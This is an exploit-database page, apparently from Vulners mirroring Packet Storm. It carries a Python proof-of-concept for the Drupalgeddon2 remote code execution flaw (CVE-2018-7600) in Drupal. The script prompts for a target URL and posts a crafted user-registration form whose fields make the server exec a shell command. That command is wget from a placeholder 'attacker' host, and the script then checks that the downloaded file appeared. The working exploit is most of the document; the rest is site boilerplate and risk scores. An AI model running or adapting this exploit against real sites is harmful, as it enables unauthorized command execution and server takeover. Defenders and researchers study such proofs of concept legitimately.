Lucene search
K

Drupal Drupalgeddon2 Remote Code Execution

🗓️ 13 Apr 2018 00:00:00Reported by Vitalii RudnykhType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 166 Views

Drupalgeddon2 Remote Code Execution vulnerability exploit scrip

Related
Code
`#!/usr/bin/env  
import sys  
import requests  
  
print ('################################################################')  
print ('# Proof-Of-Concept for CVE-2018-7600')  
print ('# by Vitalii Rudnykh')  
print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')  
print ('# https://github.com/a2u/CVE-2018-7600')  
print ('################################################################')  
print ('Provided only for educational or information purposes\n')  
  
target = raw_input('Enter target url (example: https://domain.ltd/): ')  
  
url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'  
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'wget http://attacker/hello.txt'}  
  
r = requests.post(url, data=payload)  
if r.status_code != 200:  
sys.exit("Not exploitable")  
print ('\nCheck: '+target+'hello.txt')  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Apr 2018 00:00Current
10High risk
Vulners AI Score10
EPSS0.94489
166